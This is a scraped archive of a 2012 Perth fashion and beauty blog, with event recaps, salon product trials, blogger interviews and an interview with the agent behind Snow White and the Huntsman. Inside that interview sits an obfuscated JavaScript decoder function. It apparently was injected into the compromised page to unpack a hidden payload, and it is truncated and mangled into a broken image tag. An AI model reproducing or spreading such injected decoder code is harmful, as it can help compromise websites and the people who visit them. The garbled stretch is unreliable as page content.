Ae’lkemi: PFF’s Night of Nights!

Jordana Ripp : September 27, 2012 9:03 am : Fashion

Ae’lkemi’s Lumiere collection premiered last Sunday night to an excited crowd of fashion lovers, Ae’lkemi devotees, media, industry personalities and the whos who of the Perth social circles. When Ae'lkemi's reps from Bespoke PR approached us to ask if we would like to be dressed by Ae'lkemi designer Alvin Fernandez on the night, Jen and I almost died, literally... Trying to play it cool (but by no means successfully), we waited a couple minutes (what seemed like an eternity) before replying with a resounding YES! The night was certainly a highlight for the Perth Style team on the PFF calender and Alvin's eclectic mix of Moroccan warmth, playful materials (including sport-like neoprene-esque materials with lace) and flattering structures had us trying to think and invent situations which would have us wearing each and every one of his amazing gowns.

Here are our images from the night:

BIG congratulations to Alvin for producing such an amazing collection of gowns and to the Lee and Yan at Bespoke for knowing the way to a fashion bloggers heart!

To view the Ae'lkemi collection, head to the stand alone store located in Time Square Claremont. Stay tuned for the Perth Style shoot taken in Time Square New York featuring Ae'lkemi, to be released tomorrow!!

Whitney Port: Perth Style’s Five Minutes

Jordana Ripp : September 19, 2012 3:15 am : Celebrity, Fashion

Viewing the New York Fashion Week shows is an amazing experience in itself, but having the opportunity to view a designer fitting is really what made the week, for me, come to life. Perth Style was amazingly lucky to sit in on Whitney Port’s model fittings for her line Whitney Eve.

Met by her New York based CAA (Creative Artists Agency) assistant Jorden Solomon, we made our way down to her studio in Soho. Dressed in comfy casualwear and minimal makeup, a glowing Whitney answered the door as we arrived. The space was beautifully set up - used primarily as a jewellery designer's studio, the rusticly luxe feel of wooden floor boards, exposed brick and one specaular chandelier  all came together to create a perfect setting for viewing the Whitney Eve collection.

As we were given the tour, Whitney talked about her collection and the models and you could see how passionate she is about her line. A mix of pastels, pattern and creative use of shape (totally digging the backless cutout blazer!) draped the racks lining the walls. With her team working away at a large wooden table in the corner and her seamstresses busily fixing and touching up pieces in the other corner, I would have expected it to be a flurry of activity and panic, however Whitney exuded a calm confidence brought the room to a more laid back level.

When the model arrived, she was dressed and asked to walk the length of the room so they could see how the fabric and cut moved on her body. Adjustments were made and the process was repeated until Whitney was happy with the result. Photos were then taken by Whitney and her sister Paige (seriously gorgeous and super smiley!) and then added to the rest on the pinup board.

As we finished up I chatted to Whitney about her trip to Australia and how excited she is to have Sportsgirl stocking her designs, along with online boutiques The Iconic and My Catwalk. Having just gotten off the red-eye flight that morning from Los Angeles, and going straight to her fittings, it's clear Whitney is a hard working individual who is dedicated to creating her brand outside the realms of reality TV and into a respected designer.

I had such an amazing time that afternoon and would like to thank Whitney and her team for opening their doors to Perth Style for such a rare inside view of the makings of a MBFW New York show. Also many thanks to Jordan from CAA for organising the catch up, your a superstar!

From the Front Row at Fashion Week New York: CZAR

Jordana Ripp : September 17, 2012 1:24 am : Fashion

I certainly couldn’t have picked a better first show to kick off my Mercedes Benz Fashion Week experience than with Cesar Galindo’s newest line CZAR. Over his 22 years in fashion, Cesar has dressed Joan Jett, Courtney Cox, Madonna, Gwen Stephani and has designed for both Dolce and Gabbana and Calvin Klein. His palatte of rich textures and colours managed to bring the runway alive as a showcase of both luxe glamour and comfortable flow. Lucky enough to have a front row seat to the event, I was able to grab some amazing images, enjoy!

Backstage after the show, waiting to congratulate Cesar on his wonderful collection 

 

Soooo I'm thinking we need to petition to get CZAR over to our Aussie shores because ummmm AMAZING!

Top Picks From Fashion Palette New York

Jordana Ripp : September 11, 2012 6:56 am : Fashion

Bring together ten amazing Australian designers, a runway overlooking the river and a crowd of who's who of the Aussie and New York fashion world and you certainly are left with one spectacular night! Thanks to new online store Elite Threads, I am able to share the debut experience of Australian event Fashion Palette from Canoe Studios, New York.

Having run the last four years out of Sydney, the growth to New York was born out of a desire to showcase our emerging talent on an international level. With personalities such as actress Kristin Chenoweth, model Jess Hart, TV host Jason Dundas and The West Australian social editor Di Bauwens in tow, the night can only be described as a stylish success and a great start to what hopes to be an annual NYC event.

Here are some on my favourites from the runway:

Indian summer brights with AKIRA

It's a bejeweled life with SAMANTHA WILLS

Feminine elegance with JATINE

Pastels and edge with PIJU by Bruno Schiavi

Monochrome and flow with BETTINA LIANO

Congratulations to all the amazingly talented designers  for producing such inspiring collections! The night really was a collaborative representation of  what Australian fashion is all about and the extraordinary abilities of our top designers.

That's a wrap - until next year!

The short stop over in LA went way to quick but I managed to cram in everything I needed to do thankfully! The agenda included visiting various friends, driving the mustang (her name is Black Beauty, she is real and I love her... don't talk to me about having to give her up at the end of the trip... it's a sore point), countless dinners, Malibu, driving Black Beauty, Santa Monica, Newport, cruising in Black Beauty, celebrity spotting and leisurely walk down Rodeo Drive and the desperate need for some colour in a sea of tanned bodies.

THE Black Beauty

LA never disappoints when it comes to celebrities, whether your in a club, the supermarket, getting petrol or just plain walking Sunset you are bound to see someone. This time I was lucky enough to have (a rather sweaty) David Arquette buy us drinks at his club Bootsy Bellows followed by some late night chit chat with Revenge star Ashley Madekwe... and yes to anyone who knows me these latest encounters turned out way better than the awkwardly long conversation I had with Leonardo DiCaprio about Romeo and Juliet in the flying 'little people' bar (I don't want to offend anyone and I want to be PC but they were dressed as Oompa Loompas and it is Hollywood...).

After a whirlwind four days in the City of Angels, I have finally arrived to start the next chapter of the trip in New York for Fashion Week! If you managed to take a peek at the schedule you'll know that the first two days are spent at the Independent Fashion Bloggers Conference in Soho. I've just completed the first day and can't wait to get all my notes up in the next post to share all the insights from the event.

The Future is Here: The Steam Pod Revolution

Jordana Ripp : August 6, 2012 1:32 am : Beauty, Fashion

Every curly/frizzy haired person undoubtedly knows the pain I go through to keep my locks silky smooth. The countless hours spent in the salons, the money spent on millions of straightening elixirs and appliances and the panic caused by possibly being caught without an umbrella in the winter...

The straightening revolutions over the years have been steady with chemical straightening, sophisticated straighteners and advanced treatments (I am still holding out for the day when we will be able to permanently change our hair genetics to get rid of frizz - don't ask me how or even if it's logical, it's a dream and I'm sticking to it!) taking the forefront, substantially improving our ability to obtain hairstyles and looks that were previously unachievable.

My straightening iron is my saviour so when I was asked by the amazing people at Maurice Meade to trial the new L'Oreal Steam Pod I became ridiculously excited... actually embarrassingly excited. This new device not only straightens your hair, it also nourishes it at the same time. Using steam to infuse the hair cuticle with pro-keratin (applied prior to using the straightener) the combination results in a healthy frizz free mane.

Evenly distributing the pro-keratin cream through damp hair

Hair is dried off to approximately 80% and then sectioned to easily glide the Steam Pod through

Once complete, the Protective Smoothing Serum is applied

 The Results: a healthy smooth mane!

Before (apologies for the blurred image - one can only assume the camera freaked out at the sight of my wayward hair!) and After!

 

This futuristic little straightening gem is currently only available in salons and typically costs no more than a regular blow dry however a home use version is due for release later this year (woohoo!!!!).

Thank you to the Maurice Meade team for letting us trial this amazing product. Not only did I have great hair for day, it maintained it's shine and luster through the winter conditions (no frizz, curls or flyaways - AMAZING) right up until I had to wash it!

To check out the Steam Pod for yourself you can contact any of the Maurice Meade salons across Perth.

 

Happy Smoothing, Straightening and Defrizzing!!

Perth’s Night of Nights: STYLEAID

Jordana Ripp : August 2, 2012 1:07 am : Beauty, Fashion


What do you get when you combine a premier location, the best of Perth’s fashion designers and our cities most glamourous personalities?? STYLEAID! With a sold out crowd of 750 guests and media the BurswoodGrand Ballroom was transformed into a wonderland of fun and frivolity to celebrate the annual charity fundraising event's 15th birthday.

Our picks for the best guest fashions of the night!

The oversized balloons, candy colours and a virtual Pass the Parcel (played via the purpose made STYLEAID app) all kept guests in high spirits as they were treated to freely flowing beverages and decadent cusine.

The highlight of this night has always been STYLEAID's much publicised stage show which showcases many of Perth's best fashion designers and their upcoming new season range. Perth Style excitedly jumped into the press pit for the night to experience what only can be described as lineup worthy of international recognition.

With so many wonderful shapes, colours and designs it was so hard to pick favourites but after much debate we settled on some top favs:

EDGY and ELEGANT with Zhivago

ROMANCE and TEXTURE of Aurelio Costarella

CHEEKY and CHIC with Bikini Atoll

PASTELS and PATTERNS with Poppy Lissiman

THEATRICS and THE ORIENT with Dilettante ft Vivienne Westward

LIGHT and SHADDOW with Flannel

 


BRIGHTS and TRIBAL with Empire Rose


MONOCHROME and POP with Morrison


PREHISTORIC and ANGLED with Zsadar


and for the FINALE.... GLITTER AND CUPCAKES!


HAPPY BIRTHDAY STYLEAID! Thank you so much for having us we enjoyed every minute! Until next year ;)

“I Don’t Mind Living In A Man’s World As Long As I Can Be A Woman In It”: A Vintage Shoot

Jordana Ripp : June 27, 2012 8:56 am : Beauty, Fashion

“I don’t mind living in a man’s world as long as I can be a woman in it” – Marilyn Monroe

We all know that women rule the world (yes Beyonce’s song  is on repeat in my head at the moment, cannot get it out), we run countries, are CEO’s of major corporations and command the highest respect for our ability to be a mother, daughter, wife, lover and many many other things to the masses. However, this said, some of our most glamorous and time attested fashion icons adhered to an era where men opened car doors, greeted their wives with "Honey I'm home!" and affectionately referred to the wife as the "little woman".  With the resurgence of such 'years gone by' in both fashion and entertainment, Perth Style decided to take a trip down "memory lane" to shoot a vintage inspired image collection.

Enjoy!

 

"Give a girl the right shoes and she can conquer the world!" - Marilyn Monroe

Take a Bow!

Jordana Ripp : June 23, 2012 8:11 am : Fashion

Part 2: Costume and Fashion of Snow White and the Huntsman

Not sure about you, but my favourite part about going to see epics or large scale Hollywood blockbusters is witnessing the costume designs and fashions unfold on screen. Whether its the romantic floor sweeping dresses of Titanic or the black structured garb of The Matrix, it's the costume stylings that bring these characters to life and cement their personalities in our minds.


Colleen Atwood (SWATH costume designer) is no stranger to the effects of design on the success of a production and with 3 Oscars under her very stylish belt, her ability to bring the SWATH characters to life through her designs proved to be the star attraction of the movie. The use of earthy tones and organic materials such as leathers, furs and feathers contrasted with harder elements such as corset belts, capes and metal hardware/studs all added to the dark medieval gothic feel of the movie as well as complimenting the characters evolution as the story unfolds.


SWATH's costuming has proved to be a great source of inspiration for this winter seeing many of the embellished elements of the movie reminiscent of trends seen amongst designers this season. Fur jackets and scarfs, feather collars, leather skinnies, flat riding boots, metal corset belts, winter capes - all ready to wear items that easily fit with the look and feel of the movie.  We hunted down some of our very own Perth designers and found some great styles that would compliment these organic looks:

Zhivago AW 2012


Aurelio Costarella W 2012


We also found some great jewellery pieces from Diva to help complete your SWATH look or just simply to give an outfit a bit of edge:

 

 

 

Stay tuned for Part 3 where Perth Style recreates some SWATH inspired hair looks - Watch this space!

Happy Hunting Perth Stylers!

Jordana Ripp : June 20, 2012 10:22 am : Beauty, Fashion

Welcome to Part 1 of our three part Snow White and the Huntsman mini series! Over the next week (based around the Aussie release on Thursday 21st June) we will be chatting to the LA Agent responsible for bringing the script to our screens, looking a Colleen Atwood's costume design and fashion from the movie as well as recreating some of the hairstyles rocked by Snow White and Evil Queen Raveena.

"Mirror Mirror on the wall, who's the fairest of them all?"............. You may already know the Mirror's reply but I wouldn't get to comfortable in that Disney seat, Hollywood's modern take on the traditional fairytale provides a very different journey to the answer. Gone are the days of colourful cartoon characters dancing across our screens, the evolutionary shift  has created a much darker artistic version of our beloved tales that has audiences engaged in epic battles, thought provoking metaphors and (more to the point) new takes on the costuming, fashions and style of those iconic Princesses we've all grown to love. The latest reincarnation (by screenwriter Evan Daugherty) Snow White and the Huntsman is no exception. 

Perth Style was lucky enough to walk the tree-lined white carpet at the Perth premiere and was mesmerized by the stunning visuals, sets and costume design that transformed the once lighthearted Disney world of Snow White into a medieval tale of destruction and betrayal.

The reality of Snow White and the Huntsman was realised when scriptwriter Evan Daugherty brought the script to Los Angeles based Literary Agent Jake Wagner. Perth Style managed to nab 5 minutes of Jake's time to talk about SWATH and how it made the journey to our screens.


How were you introduced to Evan Daugherty and the SWATH script?  

Jake Wagner

I found Evan Daugherty from a script he wrote called "Shrapnel" which had won a screenwriting contest called Script Pipeline.  I contacted him whilst he was living in Dallas.  He flew out to Los Angeles, we took some meetings and decided to work together. That script was eventually produced starring John Travolta and Robert De Niro and is now titled "The Killing Season"  - due out at the end of this year.  After having worked together for a couple years, Evan mentioned that he had written a script while a student at NYU that was a re-imagining of the Grimm Brother's Snow White story.  He had kept it in a drawer for all these years and asked if I would like to read it. I did and that began the process of developing the script, packaging the script with a producer and a director (Rupert Sanders) and eventually selling it to Universal Studios for 3 million dollars in a bidding war with the other studios.

Did you know when you read the script that it would be hit?

When Evan first told me about the script I was very excited about it's potential based on the concept alone. After reading it confirmed my excitement as Evan really delivered an amazing first draft.  It needed some development but I was confident that we would be able to sell it and eventually get it made. At the time as well, fairy tale re-imaginings were becoming popular in Hollywood, lots of them were selling to the major studios.

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe Evan Daugherty " src="http://www.unscrippted.co/wp-content/uploads/2012/06/Jake-and-Evan-300x225.jpg" alt="" width="300" height="225" /> Jake Wagner and Evan Daugherty on the set of Evan's next movie The Killing Season

How hard was the process of selling Evan and the script to Universal?  

We developed the script with producers Joe Roth and Palak Patel during the summer of 2010 - about four months of work. Then the script was sent into the talent agency CAA for packaging. We were fortunate enough to get the interest of a hot commercial director, Rupert Sanders.  He gave Evan his notes and Evan did another pass on the script that took a month.  Myself, CAA and UTA (which represents Evan) took the script out for auction to all the major studios. We knew the script was in excellent shape and we were all confident we would find a studio that was serious about not only buying it, but making it. Universal offered a lot of money for the script and also a "progress to production" deal, meaning they would have to be in production of the movie in a years time or we would get the script back from them to take to another studio. All in all it was a dream deal and a dream process.

What's been your favourite promotional event that you've attended for SWATH and did you get to meet any of the cast?

We all went down to San Diego Comic Con last year right before the movie was about to shoot to build some hype with the Fanboy crowd.  There was a question panel specifically for SWATH which comprised of  Charlize Theron, Chris Hemsworth, Kristen Stewart, Rupert Sanders, Joe Roth and Palak Patel.  It was very well received and we made sure Evan was backstage in the greenroom to meet the cast. Everyone was really nice and really excited to start shooting in London in a month's time.

What was the atmosphere like at the LA premiere?  

The worldwide premiere was in London earlier in May, but the LA premiere was still very special because many people from the industry were there to watch the film (including Chris Nolan, director of the latest Batman movies). The movie played well to the industry crowd and there were a lot of congratulations at the after party in Westwood.  The main topic of conversation was what the projections were going to be for the opening weekend, which is always a hot topic.  Everyone was comparing the notes they had seen on the tracking and we were hopeful that the movie would open big.

Did the movie turn out to be everything you thought it would?

The movie opened really well (and also had legs, meaning that it continued to perform well the following week and into the next weekend). I am very pleased at how the movie turned out, it's hard to describe the feeling of seeing the movie for the first time on the big screen, having had been there when it was just a script sitting in Evan's drawer.

We're hearing talk of a sequel?

Yes universal studios has hired David Koepp to write the sequel and he has commenced, so there is really good chance that it will happen.

 

A huge thank you to Jake for taking the time to chat with Perth Style and for sharing his Snow White and the Huntsman journey. Be sure to visit your local cinema for session times to this must see movie of the season!

Happy Hunting Perth Stylers!

Maurice Meade: A Goldilocks Fairytale

Jordana Ripp : June 12, 2012 6:14 am : Fashion

Once upon a time, one cold and blustery afternoon (it was last Thursday, the day the infamous Dianella Tornado hit so you can imagine the scene) a rather ragged Perth girl stumbled/blew her way into Subiaco's Maurice Meade for some much needed pampering and taming of her wind swept tresses... she then lived happily ever after... well not quite but boy did she get her fairytale hair makeover!

Having been invited to trial Kerastase's Resistance Collection, I hastily made an appointment with the Subiaco salon to experience what I can only describe as a total hair health overhaul. Welcomed with caffeine (always a plus), the bubbily duo Danny and Kiera ran through the programme for the next hour.

First Stop: The Kerastase Diagnostics Camera - This amazing little thing is able to magnify by 5000 times to capture images of hair strands to determine health. Considering my hair has gone through various stages of blonde, balayage, blonde in the last six months, I wasn't particularly hopeful for positive results. Luckily, it turns out that the state of my hair wasn't a complete disaster (yay for no embarrassing "I swim a lot" or "it must be my shampoo" excuses for my sometimes lapse hair routine) but could definitely use a good dose of Maurice Meade love!

Next Step (and always a favourite!): The Treatment - Having identified a need for nourishment and reinforcement which translates to a Fusio-Dose of Vita Cement and Oleo Fusion, we moved to the basin where I was pampered with my Kerastase treatment and the all important head massage. Add Fashion TV on the flat screen, a comfy recliner and I would have been more than happy to settle in for the night (seriously, why there aren't more instances of people falling asleep at this point is beyond me - bliss I'm telling you!)

 The Finale: The Blowdry - I managed to drag myself from the recliner back to my station, where I was treated to a luxe blow wave using the Fibre Architecture serum - resulting in an amazingly soft and healthy flowing mane! So with my fabulous hair (but no where to go - note to self: get hair done at MM when you have somewhere to be) I happily skipped out the door totally rejuvinated and ready to tackle the horrid trek in the rain to the car... until I realised I had no umbrella... so it became more of a manic run with my work bag in one hand and the other hand clutching to my blazer half draped over my head...

As having been a self confessed (borderline obsessed) hair product fanatic from a young age (I have a long thick curly mane that when I was young actually resembled Michael Jackson's 'fro circa 1970, which often resulted in my being mistaken for a boy... yes there were tears), I can tell you I've tried everything. Having used Kerastase products before, I was familiar with how well they worked so was excited to see and feel the further improvement the Resistance range had on my hair. The real test for me was the recreation of results at home which I am happy to say were amazing, my hair feels as healthy and soft as it did at the salon. The biggest advantage was that it cut a third of my blow drying time, which for me is a huuuggeee deal (I usually spend a good half hour to 45 minutes taming my goldilocks)!

A big thank you to Maurice Meade for introducing me to my new hair best friend and a shout out to may favourite MM Subi-stars Danny and Kiera for being fabulous stylists/hosts - it really was a fairytale end to cold blustery Perth day!

To book in for your own hair diagnosis and treatment, you can visit any one of the Maurice Meade salons across Perth.

Happy Hair Styling!!!

In Our Own Backyard: Perth’s Top Style Bloggers

Jordana Ripp : May 29, 2012 8:58 am : Fashion, Uncategorized

It’s certainly no secret that the days of infomation technology are upon us. Magazines and our favourite retail catalogues that once used to clutter our floors with style inspiration are now largely replaced with iPads, laptops and smart phones. Forget hardopy (although we still love the novelty of it), everything you need to know can be reached at the touch of a button (or touch screen) - where to buy those canary yellow flats, what goes with black snake textured tights, who knows the best place to get eyelash extensions... (no really does anyone know because we've only encountered the variety that says "you were born to stand on that street corner")

This virtual ability to reach audiences far and and beyond has resulted in a cavalcade of personal style diaries and web logs (aka blogs), which have shot several international personalities to fame (Some of our favs: Chiara Ferragni from The Blonde Salad, Andy Torres from Style Scrapbook and Scott Schuman from The Sartorialist). Aussies haven't been immune to this trend either with many immortalising themselves on the worldwide stage as talented fashion forecasters, commentators and creatives.

Enter: Bandwagon

Perth Style: Jump on!

If you hadn't noticed, we have a slight obsession with all things fashion, style and beauty in Perth. We have internationally ranked designers, hairstylists and markeup artists so naturally realised that we need not look further than our backyard to find inspirational blogs/bloggers who represent everything we love about our stylish Perth mavens.

We talked to four of Perth's top fashion and beauty bloggers to find out a bit about them and what their advice is for trends this winter:

The Fashion Catalyst by Vicky Sofield

What inspired you to start The Fashion Catalyst?
My overall concept for The Fashion Catalyst was to create a mecca for fashion followers and the fashion industry to rely upon. A place that held every Perth fashion event and that could easily be accessed whenever required - whether it be by a Stylist looking for inspiration, a Designer wanting to look back at one of their full collections on the runway or a Stylista looking for an outfit combination to wear to an event or special occasion. I wanted quality images to reflect the quality fashion industry that Perth radiates So to be completely honest, my inspiration came from Perth's great fashion talent...cheesy but true!

What do you hope followers/readers take away from it?

For the industry itself; the ability to reflect on their great achievements and to inspire creative flow and a deep understanding that there is an infinite flow of possibilities for everyone who is willing to put in the effort. For the fashion followers; I hope The Fashion Catalyst inspires confidence to do and be the things they want to be.

What are your top five fashion/beauty must haves for this winter?
1. Chunky cable knits
2. Savoir Faire Cosmetic's Lipstick in Siren (actually, all of their amazing makeup products)
3. Glamourous fur coats
4. Toe cap shoes
5. A divine animal print trench like sass&bide's Track & Field Trench

What is your favourite trend for this winter season and why? (ie pantone skinnies, faux fur etc)
I try to stay away from "trends" but I'm absolutely loving toe cap shoes right now and of course, fur, fur and more glamourous fur!

 

--------------------------------------------------------------------------------------------------------------------

Blonde Suburbia by Kim Burrows

What inspired you to start Blonde Suburbia?

While I was looking for a job I spent hours looking at blogs in between job applications, and thought 'why not start my own?' I've always loved photography, fashion and all the bits in between it seemed perfect, So I started Blonde Suburbia now that I have a job its my own little creative escape on my laptop!

What do you hope followers/readers take away from it?

I hope my readers can find style inspiration from my outfit posts. I hope they discover new designers, online stores and even bloggers. Hopefully when they click on Blonde Suburbia they discover something they could take from the blog.

What are your top five fashion/beauty must haves for this winter?

Black Leather Biker boots - Anything that has a "worn in" look is a plus. I live in these!

The Perfect winter trench - I'm currently on the lookout for a husband style blazer/trench with leather sleeves.

Keiko Mercheri Peau De Peche - The peach notes take me back to summer however the sandalwood keeps this scent warm enough for winter.

Aesop Primrose Cleansing Masque - I jumped on board with this brand about a month ago and my skin has loved me for it. This is perfect for dull winter skin because it contains vitamin E so it's super moisturizing too.

Nikon D700 - A digital camera is every bloggers must have, after borrowing my dads for months it's time I got one of my own. Good thing my birthday is in winter. Ha!

What is your favourite trend for this winter season and why?

Leather anything, buttery soft leather tees, pants, dresses and skirts can be found in so many stores at the moment and this season it's everywhere and in different colours. The best thing about leather is that it lasts forever, it's classic and you can wear it again in future seasons too!

--------------------------------------------------------------------------------------------------------------------

Le Fanciulle by Steph and Trish

What inspired us to start Le Fanciulle?

We both confessed to each other that we were spending hours online, browsing online stores and editorials, and looking at these "blog" things. We decided to try it out because at the time, we said something like "seriously, how hard could it be?". It's been a continual learning process and as it turns out, publishing quality material on a regular basis is quite a lot of work, but doing it as a pair definitely lightens the load.

What do we hope our followers/readers take away from our blog?

Our blog is mainly for our own enjoyment - we both love looking at beautiful pictures, travelling abroad, and every so often, putting in our two-cents about an issue. We'd hope our readers get a sense of this when they read our blog!

DIY projects have also become part of what we love to do, and we love it when our readers show us what they can do. It's also fun pre-empting trends by DIY-ing things instead of waiting for them to trickle down to high-street retailers in Perth...as well as it being a way to stay on-trend without busting our student-incomes.

What are our top five fashion/beauty must haves for this winter?

T: Invest in a fur coat and a good pair of black skinny jeans.

S: Wanting to increase my ankle-boot portfolio (starting with camel), try to find some plum coloured jeans & a woollen beanie to combat hair that has a mind of its own.

What is our favourite trend for this winter season and why?

S: Strong bright colours in jewel & plum tones - these are always a hit for Winter and they go with denim (my Winter fallback outfit) so well. I'm keen to find some accessories in a burgundy colour, like a hat or scarf or even a dark berry coloured lip stain. Then all I need to do is pinch T's (faux) fur vest and I'll be set for Winter ;)

T: Contrary to S... Black. Yes, I know, every year someone tries to stop the barrage of black being worn. But black is infallible, and with so many different textures to try (lace, fur, leather, jersey) it can make just as much of a statement as a colour-blocked, pastel-hued outfit :)

--------------------------------------------------------------------------------------------------------------------

Vintage Chic by Emily Suresh

What inspired you to start Vintage Chic?

Vintage Chic was started as an online store where I could share my love of vintage clothing with others. The blog was started at first as a way to keep customers updated with new stock and store news. It has since progressed into more of a personal account of my life featuring outfit posts, shopping finds, fashion inspiration and life updates.

What do you hope followers/readers take away from it?

Firstly, I hope readers take away some enjoyment from reading my blog! I would also love to think that they will get some fashion inspiration from my posts.

What are your top five fashion/beauty must haves for this winter?

Anything fur (faux of course!), sequins galore, quirky prints, pastel colours, and chunky knits.

What is your favourite trend for this winter season and why?

You can never have too much faux fur! Jackets, gilets, clutches in all colours and patterns. My current obsession is my leopard print fur jacket.

--------------------------------------------------------------------------------------------------------------------

Thank you to our four fabulous bloggers for sharing with us and be sure to visit their blogs for the latest in Perth fashion, style and beauty!

Happy Perth Blogexploring!

White is my all time favourite colour but for obvious reasons I’m often too scared to wear it in fear of ruining its flawless surface. However when worn well (and kept away from the red wine), white can highlight and brighten an outfit as well as any splash of colour can. Buying white pieces can be difficult when safer colour options are available however my rule with white is to stick with statement pieces ie a jacket or piece of jewellery. I'm big on finding unique pieces in cut, design and materials and I find this helps block colours such as whites add a bit of interest and dimension to the outfit. Here are my seven must-have white items of the season:

This Balmain blazer is perfect for adding a modern and clean edge to any look, even if its just a pair of jeans and heels. LOVE.

Basic white tee is a must for any closet whether summer or winter, its so versatile and can be easily transformed from day to night with a few accessories and a pair of heels. My favourite for basics with a twist is Anthropologie.

A classic that is always in style, the white Chanel quilted flap bag.

These pumps from Charlotte Olympia are the perfect mix of clean white and unique detail. Perfect for adding a little spice to you feet!

Michael Kors a favourite of mine, can always rely on him to produce great quality looks and styles each season. I love the crisp white leather contrasted with the silver hardware, bling without actually being bling, LOVE LOVE!

Henri Bendal's range of cuff bracelets are great for adding a splash of colour. With every hue available under the sun you can layer and mix and match to sure your outfit.

Ok so not strictly a white item, however I couldn't help but add this to the list. Sass and Bide's pieces are always creative and thoughtful and with their use of colour graduation, I'm (We're) certainly claiming this as my (our) next must have purchase (we like to share here at PS haha!)

We'd love to hear about your white treasures or any tips for pulling off white this season!

Happy White Outting!!

Why go to the hairdresser and get boring old highlights when you can spice up your style with Red, Orange, Yellow, Green, Blue, Pink or Purple - no colour is off limits with this latest craze in hair! Unnatural coloured hair isn't a new phenomena, I'm sure we all went through a stage at school where we experimented with rainbow hues, however this was more an act of rebellion rather than a display of chic fashion. Today we are seeing style icons and pop stars sporting the candy coloured hues and we at Perth Style can't help but envy their ability to pull it off!

We may be seeing a the latest hues on the likes of Jessie J, GaGa, Katy and LC however this fad has been a long used fashion tool of self expression with Japanese fashionistas. Harajuku Girls and many other styles of Japanese fashion have been using these candy colours for decades.

We can even go as far back as the 17th century to find women using rainbow hues to colour their hair!

Here at Perth Style we decided to test out this craze so we sent our resident Birthday Girl to Maurice Meade in the CBD to give her locks some Birthday happiness before painting the town red (or in our case pink) that evening. Using Kevin Murphy's Colour Bug chalk, the team at MM was able to transform a regular do into one with pop!

 

The application was very easy and can definately be replicated at home. Make sure you're wearing some sort of protective towel or covering so the chalk dust doesn't come off on your clothes then just section out the pieces you want coloured. Once you've done this, drag the chalk through the hair (as seen above) as many times as needed to achieve the desired shade. Grab your hair spray to spritz and seal it and your ready to rock and roll! Best part about the KM chalks is that once its sealed, it doesn't come off on your clothes - our Birthday girl wore white that evening and by the end was amazed to see none had rubbed off!

Thanks to the team at Maurice Mead for their colour and styling expertise, we were so pleased with the results!

Happy Colouring In Perth Stylists!

For The Love Of Mixed Metals

Jordana Ripp : May 17, 2012 4:04 am : Fashion

In times gone by it has been somewhat of a faux-pas to mix gold and silver or any metals for that matter. However it seems that fashion of late has been breaking all the rules - mixing pink with red, contrasting various different prints and patterns and pairing track pants with heels - so why not mix up some metallics!  

  


Perth Style has come across various inventive and unique pieces whilst investigating this trend, our favourite being Sass and Bide's to die for long sleeved mini (see image directly above) from their latest collection - epitomy of edgyness, glamour and all things mixed metal!


The PS team brought in their own mixed metal pieces and found we had more items than we thought! Loving the Mimco Trek Chain Wrist Wear for $129.95 (first item in image below) and the Tilkah Zulu Maiden Bracelet for $49 (to the right of Mimco).

 

If you have any mixed metal pieces you'd like to share or have seen any you love - make sure you send them our way for inclusion on the blog!

Happy Glittering!!
